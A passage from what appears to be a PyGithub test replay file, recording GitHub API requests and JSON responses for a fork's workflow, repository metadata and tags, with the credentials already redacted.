rees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-07-27T19:15:54Z","pushed_at":"2020-07-27T12:36:37Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12885,"stargazers_count":3634,"watchers_count":3634,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1161,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":66,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1161,"open_issues":66,"watchers":3634,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-07-27T19:15:54Z","pushed_at":"2020-07-27T12:36:37Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12885,"stargazers_count":3634,"watchers_count":3634,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1161,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":66,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1161,"open_issues":66,"watchers":3634,"default_branch":"master"},"network_count":1161,"subscribers_count":0} https GET api.github.com None /repos/wrecker/PyGithub/actions/workflows/manual_dispatch.yml {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 27 Jul 2020 23:42:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1595896933'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"a0b2bdd43dd4a479fced3585634bd734"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8F14:592F:DAD289:10ACEA9:5F1F6656')] {"id":2001227,"node_id":"MDg6V29ya2Zsb3cyMDAxMjI3","name":"Manual dispatch test workflow","path":".github/workflows/manual_dispatch.yml","state":"active","created_at":"2020-07-25T22:58:25.000-07:00","updated_at":"2020-07-25T23:00:05.000-07:00","url":"https://api.github.com/repos/wrecker/PyGithub/actions/workflows/2001227","html_url":"https://github.com/wrecker/PyGithub/blob/main/.github/workflows/manual_dispatch.yml","badge_url":"https://github.com/wrecker/PyGithub/workflows/Manual%20dispatch%20test%20workflow/badge.svg"} https GET api.github.com None /repos/wrecker/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 27 Jul 2020 23:42:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1595896932'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"31c5f867927048d603d45ba261601e3f"'), ('Last-Modified', 'Sun, 26 Jul 2020 06:00:07 GMT'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8F16:6C57:46FEBB:587C7B:5F1F6656')] {"id":282377842,"node_id":"MDEwOlJlcG9zaXRvcnkyODIzNzc4NDI=","name":"PyGithub","full_name":"wrecker/PyGithub","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/wrecker/PyGithub","forks_url":"https://api.github.com/repos/wrecker/PyGithub/forks","keys_url":"https://api.github.com/repos/wrecker/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PyGithub/teams","hooks_url":"https://api.github.com/repos/wrecker/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PyGithub/events","assignees_url":"https://api.github.com/repos/wrecker/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PyGithub/tags","blobs_url":"https://api.github.com/repos/wrecker/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PyGithub/languages","stargazers_url":"https://api.github.com/repos/wrecker/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PyGithub/subscription","commits_url":"https://api.github.com/repos/wrecker/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PyGithub/merges","archive_url":"https://api.github.com/repos/wrecker/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PyGithub/downloads","issues_url":"https://api.github.com/repos/wrecker/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PyGithub/deployments","created_at":"2020-07-25T05:30:01Z","updated_at":"2020-07-26T06:00:07Z","pushed_at":"2020-07-27T12:36:35Z","git_url":"git://github.com/wrecker/PyGithub.git","ssh_url":"git@github.com:wrecker/PyGithub.git","clone_url":"https://github.com/wrecker/PyGithub.git","svn_url":"https://github.com/wrecker/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12903,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-07-27T19:15:54Z","pushed_at":"2020-07-27T12:36:37Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12885,"stargazers_count":3634,"watchers_count":3634,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1161,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":66,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1161,"open_issues":66,"watchers":3634,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-07-27T19:15:54Z","pushed_at":"2020-07-27T12:36:37Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12885,"stargazers_count":3634,"watchers_count":3634,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1161,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":66,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1161,"open_issues":66,"watchers":3634,"default_branch":"master"},"network_count":1161,"subscribers_count":0} https GET api.github.com None /repos/wrecker/PyGithub/tags {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 27 Jul 2020 23:42:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4994'), ('X-RateLimit-Reset', '1595896933'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"7b86a449236857804c9f8dbfed30e78d"'), ('Last-Modified', 'Sun, 26 Jul 2020 06:00:07 GMT'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8F18:1F4E:E67DB6:115874B:5F1F6656')] [{"name":"workflow_dispatch_tag","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/workflow_dispatch_tag","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/workflow_dispatch_tag","commit":{"sha":"1215b6fc030d96c944ba698640b53da046d4f2dd","url":"https://api.github.com/repos/wrecker/PyGithub/commits/1215b6fc030d96c944ba698640b53da046d4f2dd"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy93b3JrZmxvd19kaXNwYXRjaF90YWc="},{"name":"v2.0.0-alpha.4","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v2.0.0-alpha.4","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v2.0.0-alpha.4","commit":{"sha":"c5a2bb0934ffc04fcd42d0b55e1fec7810bd95b7","url":"https://api.github.com/repos/wrecker/PyGithub/commits/c5a2bb0934ffc04fcd42d0b55e1fec7810bd95b7"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92Mi4wLjAtYWxwaGEuNA=="},{"name":"v2.0.0.-alpha.3","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v2.0.0.-alpha.3","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v2.0.0.-alpha.3","commit":{"sha":"d737ccbe2ab54c747374d2a8f1bc9268aa25372d","url":"https://api.github.com/repos/wrecker/PyGithub/commits/d737ccbe2ab54c747374d2a8f1bc9268aa25372d"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92Mi4wLjAuLWFscGhhLjM="},{"name":"v2.0.0-alpha.2","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v2.0.0-alpha.2","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v2.0.0-alpha.2","commit":{"sha":"4d4c2ed3c79e4fe4e58b0a7b9dbd976cb92b22bb","url":"https://api.github.com/repos/wrecker/PyGithub/commits/4d4c2ed3c79e4fe4e58b0a7b9dbd976cb92b22bb"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92Mi4wLjAtYWxwaGEuMg=="},{"name":"v2.0.0-alpha.1","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v2.0.0-alpha.1","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v2.0.0-alpha.1","commit":{"sha":"a27948a3c5ad70f2818379ae07953405fcee9d0d","url":"https://api.github.com/repos/wrecker/PyGithub/commits/a27948a3c5ad70f2818379ae07953405fcee9d0d"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92Mi4wLjAtYWxwaGEuMQ=="},{"name":"v1.51","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.51","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.51","commit":{"sha":"0ca534ee1c0d6c6ddcf5f238ffe1838d75a8e082","url":"https://api.github.com/repos/wrecker/PyGithub/commits/0ca534ee1c0d6c6ddcf5f238ffe1838d75a8e082"},"node_id":"MDM6UmVmMjgyMzc3O